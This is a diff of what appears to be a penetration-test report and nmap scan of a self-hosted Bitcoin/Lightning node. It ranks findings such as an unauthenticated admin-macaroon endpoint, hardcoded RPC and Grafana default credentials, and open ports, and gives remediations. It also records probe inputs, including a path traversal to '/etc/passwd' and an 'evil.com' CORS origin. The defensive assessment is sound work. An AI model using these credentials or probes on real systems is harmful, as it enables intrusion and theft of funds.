- **API Status:** `{"status":"OK","setup":false,"version":{"major":2,"minor":14,"revision":0}}`
|
||||
- **`setup: false`** — Unclear if this means initial setup hasn't completed (would allow admin takeover) or refers to some other state
|
||||
- **Impact:** NPM controls reverse proxy routing for all services. Compromise = ability to redirect traffic, intercept credentials, or add malicious proxy rules.
|
||||
|
||||
### MEDIUM
|
||||
|
||||
#### 4.6 Version and Service Information Disclosure
|
||||
|
||||
| Source | Information Exposed |
|
||||
|--------|-------------------|
|
||||
| HTTP `Server` header | `nginx/1.22.1` |
|
||||
| Port 81 `Server` header | `openresty` |
|
||||
| Port 3000 `/api/health` | Grafana 10.2.0, commit hash, database status |
|
||||
| Port 81 `/api/` | NPM version 2.14.0 |
|
||||
| Port 8080 TLS cert | `lnd autogenerated cert`, internal IPs, Tailscale IPs |
|
||||
| Port 443 TLS cert | SANs include: 192.168.1.228, 192.168.1.198, 10.0.0.1, archipelago.local |
|
||||
| SSH banner | OpenSSH 9.2p1 Debian 2+deb12u7, ECDSA + ED25519 host keys |
|
||||
| `/electrs-status` | Blockchain sync: 99%, index size 124.8GB, network height |
|
||||
| `/dwn/health` | 1027 messages, 10 protocols, 551KB storage |
|
||||
| `auth.isOnboardingComplete` | Node setup state (returns `true`) |
|
||||
| Error responses | "Password Incorrect" (confirms account exists) |
|
||||
|
||||
#### 4.7 LND TLS Certificate Leaks Internal Network Topology
|
||||
|
||||
The LND auto-generated TLS cert (port 8080) exposes SANs including:
|
||||
- Internal IPs: `192.168.1.228`, `10.88.0.1` (Podman bridge)
|
||||
- Tailscale IPs: `2A00:23C5:E31:A001:572F:29BF:5A00:2D46` (IPv6)
|
||||
- Link-local IPs: 5 different `FE80::` addresses (reveals all network interfaces)
|
||||
|
||||
#### 4.8 CSP Allows `unsafe-inline`
|
||||
|
||||
```
|
||||
script-src 'self' 'unsafe-inline'
|
||||
style-src 'self' 'unsafe-inline'
|
||||
```
|
||||
|
||||
While necessary for the Vue SPA, `unsafe-inline` for scripts significantly weakens XSS protection. If any injection point exists, inline script execution is possible.
|
||||
|
||||
#### 4.9 `connect-src` Allows Broad Connections
|
||||
|
||||
```
|
||||
connect-src 'self' ws: wss: http://192.168.1.228:* https:
|
||||
```
|
||||
|
||||
Allows JavaScript to connect to ANY port on the host and ANY HTTPS endpoint. An XSS payload could exfiltrate data to external servers or interact with any local service port.
|
||||
|
||||
#### 4.10 DWN Endpoint Accepts Unauthenticated Queries
|
||||
|
||||
- **Endpoint:** `POST /dwn`
|
||||
- **Confirmed:** Accepts JSON queries and returns results
|
||||
- **Impact:** Remote parties can query DWN records. While designed for P2P, the lack of access control means any network-adjacent attacker can enumerate stored data.
|
||||
|
||||
### LOW / INFORMATIONAL
|
||||
|
||||
#### 4.11 Login Rate Limiting Works
|
||||
|
||||
Rate limiting triggers after 4 failed attempts (returns HTTP 429). Effective against brute force. However, the limit is per-IP, not per-account — an attacker with multiple IPs could parallelize attempts.
|
||||
|
||||
#### 4.12 CORS Properly Restricts Origins
|
||||
|
||||
CORS preflight for `Origin: http://evil.com` returns no `Access-Control-Allow-Origin` header. Only configured origins (`http://192.168.1.228`, `http://localhost:8100`) are allowed. WebSocket also returns 401 without valid session.
|
||||
|
||||
#### 4.13 Path Traversal Mitigated
|
||||
|
||||
`/content/../../../etc/passwd` returns the SPA index.html (nginx catches it). URL-encoded traversal (`%2f..%2f`) returns 400 Bad Request. FileBrowser has explicit `..` regex checks in nginx config.
|
||||
|
||||
#### 4.14 Git/Env Files Not Exposed
|
||||
|
||||
`/.git/HEAD` and `/.env` both return the SPA index.html (Vue Router catch-all). No source code or credential leakage.
|
||||
|
||||
#### 4.15 Security Headers Present
|
||||
|
||||
All security headers are properly set: HSTS, X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy, X-DNS-Prefetch-Control. This is above average for self-hosted applications.
|
||||
|
||||
---
|
||||
|
||||
## 5. Priority Targets
|
||||
|
||||
### Rank 1: LND Admin Macaroon via `/lnd-connect-info` (CRITICAL)
|
||||
|
||||
- **What:** Unauthenticated HTTP endpoint returns full admin macaroon for LND Lightning node
|
||||
- **Why it's critical:** Grants complete control over Lightning funds — send payments, drain channels, create invoices. No authentication required. Accessible to any device on the LAN.
|
||||
- **Category:** Broken Access Control (OWASP A01:2021)
|
||||
- **Remediation:** Require session authentication on `/lnd-connect-info`. Use read-only macaroon for status checks; only expose admin macaroon via authenticated RPC.
|
||||
|
||||
### Rank 2: Bitcoin RPC via Hardcoded Credentials (CRITICAL)
|
||||
|
||||
- **What:** Port 8334 proxies Bitcoin Core RPC with hardcoded Basic Auth `archipelago:archipelago123`
|
||||
- **Why it's critical:** Mainnet Bitcoin node. If wallet is loaded, attacker can send transactions, export private keys, or manipulate the mempool. Credentials are in version-controlled nginx config.
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021), Hardcoded Credentials
|
||||
- **Remediation:** Remove hardcoded credentials from nginx config. Proxy Bitcoin RPC through the authenticated Rust backend only. Restrict port 8334 to localhost.
|
||||
|
||||
### Rank 3: Grafana Default Credentials (HIGH)
|
||||
|
||||
- **What:** Grafana on port 3000 accepts `admin:admin`
|
||||
- **Why it's critical:** Full admin access to monitoring infrastructure. Grafana can query connected data sources (Prometheus, InfluxDB), potentially exposing system metrics, logs, and providing a pivot point. Version 10.2.0 may have known CVEs.
|
||||
- **Category:** Identification and Authentication Failures (OWASP A07:2021)
|
||||
- **Remediation:** Change default password. Restrict Grafana to localhost access only (proxy through authenticated nginx). Consider enabling Grafana's built-in auth proxy mode.
|
||||
|
||||
### Rank 4: Unauthenticated Content Catalog (HIGH)
|
||||
|
||||
- **What:** `GET /content` exposes personal files (names, sizes, UUIDs) without authentication
|
||||
- **Why it's concerning:** Reveals personal data. UUIDs may allow direct file download via `/content/{id}`. Designed for P2P but accessible from any LAN host.
|
||||
- **Category:** Broken Access Control (OWASP A01:2021)
|
||||
- **Remediation:** Require peer authentication (DID signature verification) for content catalog access, not just content downloads.
|
||||
|
||||
### Rank 5: Nginx Proxy Manager Direct Access (HIGH)
|
||||
|
||||
- **What:** Port 81 serves NPM admin interface directly on LAN with `setup: false` status
|
||||
- **Why it's concerning:** NPM controls all reverse proxy rules. If the "setup" state allows initial admin creation by anyone, an attacker could take over routing. Even with auth, direct port access bypasses the main nginx security headers.
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021)
|
||||
- **Remediation:** Restrict port 81 to localhost. Only expose NPM through the authenticated `/app/nginx-proxy-manager/` proxy path.
|
||||
|
||||
### Rank 6: Service Ports Directly Accessible on LAN (MEDIUM)
|
||||
|
||||
- **What:** Ports 3000, 3001, 7777, 8080, 8334, 9000 are directly accessible, bypassing the main nginx proxy and its security headers/CSP/CORS
|
||||
- **Why it's concerning:** Each service has its own (potentially weaker) authentication. Direct access bypasses rate limiting, security headers, and session validation at the nginx layer.
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021)
|
||||
- **Remediation:** Bind container ports to `127.0.0.1` or Podman bridge network only. All external access should flow through the nginx proxy on port 80/443.
|
||||
|
||||
### Rank 7: RPC Input Injection Surface (MEDIUM)
|
||||
|
||||
- **What:** 150+ RPC methods accept JSON parameters that control container operations, system commands, network config, file operations, and Bitcoin transactions
|
||||
- **Why it's concerning:** Methods like `container-install` (image name → Podman), `network.configure-dns` (DNS servers), `webhook.configure` (arbitrary URL callbacks), `package.install` (marketplace URL fetch) all accept user-controlled strings that interact with system commands or external services.
|
||||
- **Category:** Injection (OWASP A03:2021), SSRF (OWASP A10:2021)
|
||||
- **Remediation:** Audit each method for proper input sanitization. Especially: container image names (prevent registry confusion), webhook URLs (prevent SSRF), DNS servers (prevent DNS rebinding), marketplace URLs (prevent SSRF).
|
||||
|
||||
### Rank 8: CSP `unsafe-inline` + Broad `connect-src` (MEDIUM)
|
||||
|
||||
- **What:** CSP allows inline scripts and connections to any port on the host or any HTTPS endpoint
|
||||
- **Why it's concerning:** If any XSS vector exists (e.g., in app iframe content, reflected parameters, or injected HTML), the attacker can execute arbitrary JavaScript and exfiltrate data to external servers or interact with all local services.
|
||||
- **Category:** XSS / Security Misconfiguration (OWASP A03/A05:2021)
|
||||
- **Remediation:** Migrate to nonce-based CSP. Restrict `connect-src` to specific required ports/domains.
|
||||
|
||||
---
|
||||
|
||||
## Appendix: Security Headers (Full)
|
||||
|
||||
```http
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
|
||||
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||||
X-DNS-Prefetch-Control: off
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
|
||||
style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:;
|
||||
font-src 'self' data:; connect-src 'self' ws: wss: http://192.168.1.228:* https:;
|
||||
frame-src 'self' http://192.168.1.228:* https:; frame-ancestors 'self';
|
||||
base-uri 'self'; form-action 'self';
|
||||
Server: nginx/1.22.1
|
||||
```
|
||||
|
||||
## Appendix: Rate Limiting Configuration
|
||||
|
||||
| Layer | Target | Rate | Burst |
|
||||
|-------|--------|------|-------|
|
||||
| Nginx | `/rpc/` | 20 req/s | 40 |
|
||||
| Backend | `auth.login` | 5 per 60s per IP | — |
|
||||
| Backend | Financial ops (send, pay) | 5-10 per 300s | — |
|
||||
| Backend | Auth changes (password, TOTP) | 3 per 300s | — |
|
||||
| Backend | Container ops | 5 per 300s | — |
|
||||
| Backend | Federation join | 5 per 60s | — |
|
||||
|
||||
## Appendix: Authentication Summary
|
||||
|
||||
| What's Good | What Needs Work |
|
||||
|-------------|-----------------|
|
||||
| Bcrypt cost 12 for passwords | `/lnd-connect-info` unauthenticated |
|
||||
| Argon2id for TOTP key derivation | Bitcoin RPC hardcoded creds |
|
||||
| ChaCha20-Poly1305 for TOTP secret encryption | Grafana default admin:admin |
|
||||
| 256-bit random session tokens | Service ports directly accessible |
|
||||
| HttpOnly + SameSite=Strict cookies | CSP unsafe-inline |
|
||||
| Rate limiting on login (5/min) | NPM port 81 open on LAN |
|
||||
| CORS origin validation | connect-src too permissive |
|
||||
| Session rotation on password change | Initial password only 8 chars |
|
||||
| TOTP replay protection | Error messages confirm account existence |
|
||||
| AES-256-GCM secrets at rest | Rate limiter enforcement unclear for some methods |
|
||||
@@ -1 +1,659 @@
|
||||
# Nmap 7.98 scan initiated Fri Mar 6 01:40:27 2026 as: nmap -sV -sC --top-ports 1000 -oN /Users/dorian/Projects/archy/loop/pentest/recon/nmap.txt 192.168.1.228
|
||||
# Nmap 7.98 scan initiated Wed Mar 18 11:29:44 2026 as: nmap -sV -sC --top-ports 1000 -oN /Users/dorian/Projects/archy/loop/pentest/recon/nmap.txt 192.168.1.228
|
||||
Nmap scan report for 192.168.1.228
|
||||
Host is up (0.0030s latency).
|
||||
Not shown: 980 closed tcp ports (conn-refused)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 60:1f:1b:cb:db:5d:25:bf:35:37:9e:22:4c:c1:75:d5 (ECDSA)
|
||||
|_ 256 1e:3f:6a:b7:4b:e2:d8:8b:ee:34:a4:fd:3b:e3:b7:44 (ED25519)
|
||||
80/tcp open http nginx 1.22.1
|
||||
|_http-server-header: nginx/1.22.1
|
||||
|_http-title: Archipelago OS
|
||||
81/tcp open http OpenResty web app server
|
||||
|_http-title: Nginx Proxy Manager
|
||||
|_http-server-header: openresty
|
||||
443/tcp open ssl/http nginx 1.22.1
|
||||
| ssl-cert: Subject: commonName=archipelago.local/organizationName=Archipelago/countryName=US
|
||||
| Subject Alternative Name: DNS:archipelago.local, DNS:localhost, IP Address:127.0.0.1, IP Address:192.168.1.228, IP Address:192.168.1.198, IP Address:10.0.0.1
|
||||
| Not valid before: 2026-02-17T21:33:45
|
||||
|_Not valid after: 2027-02-17T21:33:45
|
||||
|_http-title: Archipelago OS
|
||||
|_ssl-date: TLS randomness does not represent time
|
||||
|_http-server-header: nginx/1.22.1
|
||||
3000/tcp open http Grafana http
|
||||
|_http-trane-info: Problem with XML parsing of /evox/about
|
||||
| http-robots.txt: 1 disallowed entry
|
||||
|_/
|
||||
| http-title: Grafana
|
||||
|_Requested resource was /login
|
||||
3001/tcp open nessus?
|
||||
| fingerprint-strings:
|
||||
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, NCP, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| Connection: close
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.1 200 OK
|
||||
| X-Frame-Options: SAMEORIGIN
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| Content-Length: 2444
|
||||
| ETag: W/"98c-RxUaxZHFr+/FSabMqXO58T7mz+U"
|
||||
| Date: Wed, 18 Mar 2026 11:29:58 GMT
|
||||
| Connection: close
|
||||
| <!DOCTYPE html>
|
||||
| <html lang="en">
|
||||
| <head>
|
||||
| <meta charset="UTF-8" />
|
||||
| <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover" />
|
||||
| <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
|
||||
| <link rel="icon" type="image/svg+xml" href="/icon.svg" />
|
||||
| <link rel="manifest" href="/manifest.json" />
|
||||
| <meta name="theme-color" id="theme-color" content="" />
|
||||
| <meta name="description" content="Uptime Kuma monitoring tool" />
|
||||
| <title>Uptime Kuma</title>
|
||||
| <style> .noscript-message {
|
||||
| font-size: 20px;
|
||||
| text-align: center;
|
||||
| padding: 10px;
|
||||
| max-width: 500px;
|
||||
| marg
|
||||
| GetRequest:
|
||||
| HTTP/1.1 302 Found
|
||||
| X-Frame-Options: SAMEORIGIN
|
||||
| Location: /dashboard
|
||||
| Vary: Accept
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Content-Length: 32
|
||||
| Date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| Connection: close
|
||||
| Found. Redirecting to /dashboard
|
||||
| HTTPOptions, RTSPRequest:
|
||||
| HTTP/1.1 200 OK
|
||||
| X-Frame-Options: SAMEORIGIN
|
||||
| Vary: Accept-Encoding
|
||||
| Allow: GET,HEAD
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| Content-Length: 8
|
||||
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|
||||
| Date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| Connection: close
|
||||
|_ GET,HEAD
|
||||
5678/tcp open rrac?
|
||||
| fingerprint-strings:
|
||||
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| content-length: 0
|
||||
| date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| content-length: 9
|
||||
| date: Wed, 18 Mar 2026 11:29:58 GMT
|
||||
| Found
|
||||
| GetRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| content-length: 9
|
||||
| date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| Found
|
||||
| HTTPOptions:
|
||||
| HTTP/1.0 204 No Content
|
||||
| vary: Origin
|
||||
| date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| Kerberos, SMBProgNeg, SSLSessionReq, TerminalServerCookie, X11Probe:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| content-length: 0
|
||||
| date: Wed, 18 Mar 2026 11:29:58 GMT
|
||||
| TLSSessionReq:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| content-length: 0
|
||||
|_ date: Wed, 18 Mar 2026 11:29:57 GMT
|
||||
7777/tcp open http nginx 1.29.6
|
||||
|_http-server-header: nginx/1.29.6
|
||||
|_http-title: IndeedHub - Decentralized Media Streaming
|
||||
8080/tcp open ssl/http Golang net/http server
|
||||
| ssl-cert: Subject: commonName=archipelago/organizationName=lnd autogenerated cert
|
||||
| Subject Alternative Name: DNS:archipelago, DNS:localhost, DNS:unix, DNS:unixpacket, DNS:bufconn, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, IP Address:192.168.1.228, IP Address:10.88.0.1, IP Address:2A00:23C5:E31:A001:572F:29BF:5A00:2D46, IP Address:FE80:0:0:0:4A3A:E6DF:E0F8:DDAB, IP Address:FE80:0:0:0:D8CB:E8FF:FEAD:7A0C, IP Address:FE80:0:0:0:606A:44FF:FEA8:AC1A, IP Address:FE80:0:0:0:DC96:1DFF:FE05:62BF, IP Address:FE80:0:0:0:2868:B4FF:FEA9:A263
|
||||
| Not valid before: 2026-02-02T21:52:55
|
||||
|_Not valid after: 2027-03-30T21:52:55
|
||||
|_http-title: Site doesn't have a title (application/json).
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| Content-Type: application/json
|
||||
| Date: Wed, 18 Mar 2026 11:30:18 GMT
|
||||
| Content-Length: 45
|
||||
| {"code":5,"message":"Not Found","details":[]}
|
||||
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Connection: close
|
||||
| Request
|
||||
| GetRequest, HTTPOptions:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| Content-Type: application/json
|
||||
| Date: Wed, 18 Mar 2026 11:30:02 GMT
|
||||
| Content-Length: 45
|
||||
| {"code":5,"message":"Not Found","details":[]}
|
||||
| OfficeScan:
|
||||
| HTTP/1.1 400 Bad Request: missing required Host header
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Connection: close
|
||||
|_ Request: missing required Host header
|
||||
|_ssl-date: TLS randomness does not represent time
|
||||
8081/tcp open hadoop-datanode Apache Hadoop 1.29.6
|
||||
| hadoop-secondary-namenode-info:
|
||||
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
|
||||
| hadoop-datanode-info:
|
||||
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
|
||||
|_http-title: LND - Archipelago
|
||||
| hadoop-tasktracker-info:
|
||||
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
|
||||
8082/tcp open blackice-alerts?
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| content-type: text/html; charset=utf-8
|
||||
| server: Rocket
|
||||
| permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
|
||||
| x-frame-options: SAMEORIGIN
|
||||
| x-content-type-options: nosniff
|
||||
| referrer-policy: same-origin
|
||||
| x-xss-protection: 0
|
||||
| content-security-policy: default-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-src 'se
|
||||
| GetRequest:
|
||||
| HTTP/1.0 200 OK
|
||||
| content-type: text/html; charset=utf-8
|
||||
| cache-control: public, max-age=600
|
||||
| expires: Wed, 18 Mar 2026 11:39:51 GMT
|
||||
| server: Rocket
|
||||
| permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
|
||||
| x-frame-options: SAMEORIGIN
|
||||
| x-content-type-options: nosniff
|
||||
| referrer-policy: same-origin
|
||||
| x-xss-protection: 0
|
||||
|_ content-security-policy: default-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'se
|
||||
8083/tcp open http Golang net/http server
|
||||
|_http-title: File Browser
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest, GetRequest:
|
||||
| HTTP/1.0 200 OK
|
||||
| Cache-Control: no-cache, no-store, must-revalidate
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| X-Xss-Protection: 1; mode=block
|
||||
| Date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| <!doctype html>
|
||||
| <html lang="en">
|
||||
| <head>
|
||||
| <meta charset="utf-8" />
|
||||
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
| <meta
|
||||
| name="viewport"
|
||||
| content="width=device-width, initial-scale=1, user-scalable=no"
|
||||
| <title>
|
||||
| File Browser
|
||||
| </title>
|
||||
| <link
|
||||
| rel="icon"
|
||||
| type="image/png"
|
||||
| sizes="32x32"
|
||||
| href="/static/img/icons/favicon-32x32.png"
|
||||
| <link
|
||||
| rel="icon"
|
||||
| type="image/png"
|
||||
| sizes="16x16"
|
||||
| href="/static/img/icons/favicon-16x16.png"
|
||||
| <!-- Add to home screen for Android and modern mobile browsers -->
|
||||
| <link
|
||||
| rel="manifest"
|
||||
| id="manifestPlaceholder"
|
||||
|_ crossorigin="use-credentials"
|
||||
8084/tcp open http OpenResty web app server
|
||||
|_http-server-header: openresty
|
||||
|_http-title: Default Site
|
||||
8085/tcp open http Apache httpd 2.4.62 ((Debian))
|
||||
| http-robots.txt: 1 disallowed entry
|
||||
|_/
|
||||
| http-title: Login \xE2\x80\x93 Nextcloud
|
||||
|_Requested resource was http://192.168.1.228:8085/login
|
||||
|_http-server-header: Apache/2.4.62 (Debian)
|
||||
8333/tcp open bitcoin?
|
||||
| fingerprint-strings:
|
||||
| RPCCheck:
|
||||
| =/@v
|
||||
| HVSI
|
||||
| \x10
|
||||
| d~._
|
||||
| p>Rw*xG
|
||||
| aRV,Q
|
||||
| ta#|
|
||||
| y3<%
|
||||
| |'.xm
|
||||
| ]g8,o
|
||||
| \xbcP
|
||||
| \xd0
|
||||
| 0MF-ID`
|
||||
|_ v[9q
|
||||
8443/tcp open ssl/https-alt openresty
|
||||
|_http-server-header: openresty
|
||||
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|
||||
8888/tcp open sun-answerbook?
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| content-type: text/html; charset=utf-8
|
||||
| content-length: 4711
|
||||
| server-timing: total;dur=5.729, render;dur=4.335
|
||||
| x-content-type-options: nosniff
|
||||
| x-download-options: noopen
|
||||
| x-robots-tag: noindex, nofollow
|
||||
| referrer-policy: no-referrer
|
||||
| server: granian
|
||||
| date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| <!DOCTYPE html>
|
||||
| <html class="no-js theme-auto center-alignment-no" lang="en-EN" >
|
||||
| <head>
|
||||
| <meta charset="UTF-8">
|
||||
| <meta name="endpoint" content="None">
|
||||
| <meta name="description" content="SearXNG
|
||||
| privacy-respecting, open metasearch engine">
|
||||
| <meta name="keywords" content="SearXNG, search, search engine, metasearch, meta search">
|
||||
| <meta name="generator" content="searxng/2026.2.3+f7a608703">
|
||||
| <meta name="referrer" content="no-referrer">
|
||||
| <meta name="robots" content="noarchive">
|
||||
| <meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
| <title>SearXNG</ti
|
||||
| GetRequest:
|
||||
| HTTP/1.0 200 OK
|
||||
| content-type: text/html; charset=utf-8
|
||||
| content-length: 6292
|
||||
| server-timing: total;dur=176.925, render;dur=154.939
|
||||
| x-content-type-options: nosniff
|
||||
| x-download-options: noopen
|
||||
| x-robots-tag: noindex, nofollow
|
||||
| referrer-policy: no-referrer
|
||||
| server: granian
|
||||
| date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| <!DOCTYPE html>
|
||||
| <html class="no-js theme-auto center-alignment-no" lang="en-EN" >
|
||||
| <head>
|
||||
| <meta charset="UTF-8">
|
||||
| <meta name="endpoint" content="index">
|
||||
| <meta name="description" content="SearXNG
|
||||
| privacy-respecting, open metasearch engine">
|
||||
| <meta name="keywords" content="SearXNG, search, search engine, metasearch, meta search">
|
||||
| <meta name="generator" content="searxng/2026.2.3+f7a608703">
|
||||
| <meta name="referrer" content="no-referrer">
|
||||
| <meta name="robots" content="noarchive">
|
||||
| <meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
| <title>SearXNG</titl
|
||||
| HTTPOptions:
|
||||
| HTTP/1.0 200 OK
|
||||
| content-type: text/html; charset=utf-8
|
||||
| allow: GET, POST, OPTIONS, HEAD
|
||||
| server-timing: total;dur=1.056, render;dur=0
|
||||
| x-content-type-options: nosniff
|
||||
| x-download-options: noopen
|
||||
| x-robots-tag: noindex, nofollow
|
||||
| referrer-policy: no-referrer
|
||||
| content-length: 0
|
||||
| server: granian
|
||||
|_ date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
9000/tcp open http Golang net/http server
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| Cache-Control: max-age=31536000
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Vary: Accept-Encoding
|
||||
| X-Content-Type-Options: nosniff
|
||||
| X-Xss-Protection: 1; mode=block
|
||||
| Date: Wed, 18 Mar 2026 11:30:09 GMT
|
||||
| Content-Length: 19
|
||||
| page not found
|
||||
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Connection: close
|
||||
| Request
|
||||
| GetRequest:
|
||||
| HTTP/1.0 307 Temporary Redirect
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| Location: /timeout.html
|
||||
| Date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| Content-Length: 49
|
||||
| href="/timeout.html">Temporary Redirect</a>.
|
||||
| HTTPOptions:
|
||||
| HTTP/1.0 307 Temporary Redirect
|
||||
| Location: /timeout.html
|
||||
| Date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| Content-Length: 0
|
||||
| OfficeScan:
|
||||
| HTTP/1.1 400 Bad Request: missing required Host header
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Connection: close
|
||||
|_ Request: missing required Host header
|
||||
| http-title: Portainer
|
||||
|_Requested resource was /timeout.html
|
||||
10009/tcp open ssl/grpc
|
||||
|_ssl-date: TLS randomness does not represent time
|
||||
| ssl-cert: Subject: commonName=archipelago/organizationName=lnd autogenerated cert
|
||||
| Subject Alternative Name: DNS:archipelago, DNS:localhost, DNS:unix, DNS:unixpacket, DNS:bufconn, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, IP Address:192.168.1.228, IP Address:10.88.0.1, IP Address:2A00:23C5:E31:A001:572F:29BF:5A00:2D46, IP Address:FE80:0:0:0:4A3A:E6DF:E0F8:DDAB, IP Address:FE80:0:0:0:D8CB:E8FF:FEAD:7A0C, IP Address:FE80:0:0:0:606A:44FF:FEA8:AC1A, IP Address:FE80:0:0:0:DC96:1DFF:FE05:62BF, IP Address:FE80:0:0:0:2868:B4FF:FEA9:A263
|
||||
| Not valid before: 2026-02-02T21:52:55
|
||||
|_Not valid after: 2027-03-30T21:52:55
|
||||
50002/tcp open http nginx 1.29.6
|
||||
|_http-title: ElectrumX - Archipelago
|
||||
|_http-server-header: nginx/1.29.6
|
||||
8 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port3001-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
|
||||
SF:(NCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n
|
||||
SF:\r\n")%r(GetRequest,EC,"HTTP/1\.1\x20302\x20Found\r\nX-Frame-Options:\x
|
||||
SF:20SAMEORIGIN\r\nLocation:\x20/dashboard\r\nVary:\x20Accept\r\nContent-T
|
||||
SF:ype:\x20text/plain;\x20charset=utf-8\r\nContent-Length:\x2032\r\nDate:\
|
||||
SF:x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\nConnection:\x20close
|
||||
SF:\r\n\r\nFound\.\x20Redirecting\x20to\x20/dashboard")%r(HTTPOptions,FC,"
|
||||
SF:HTTP/1\.1\x20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGIN\r\nVary:\x20Ac
|
||||
SF:cept-Encoding\r\nAllow:\x20GET,HEAD\r\nContent-Type:\x20text/html;\x20c
|
||||
SF:harset=utf-8\r\nContent-Length:\x208\r\nETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU
|
||||
SF:2GYZCmbtmXg\"\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\
|
||||
SF:r\nConnection:\x20close\r\n\r\nGET,HEAD")%r(RTSPRequest,FC,"HTTP/1\.1\x
|
||||
